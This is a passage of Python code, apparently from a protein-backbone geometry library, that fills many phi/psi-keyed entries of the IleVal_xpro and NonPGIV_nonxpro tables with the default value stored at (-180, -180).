IleVal_xpro[(150, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(160, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(170, 170)]=IleVal_xpro[(-180, -180)]
NonPGIV_nonxpro = cdl_database["NonPGIV_nonxpro"]
NonPGIV_nonxpro[(-180, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-180, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-170, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-160, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-150, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-140, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-130, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-120, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-110, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-110, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-110, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-110, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-110, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-110, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-100, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-100, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-100, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-100, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-100, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-100, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-100, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-100, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-90, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-90, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-90, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-90, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-90, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-90, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-90, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-90, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-80, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-70, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-60, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-50, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-40, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(-30, -60)]=NonPGIV_nonxpro[(-180, -180)]
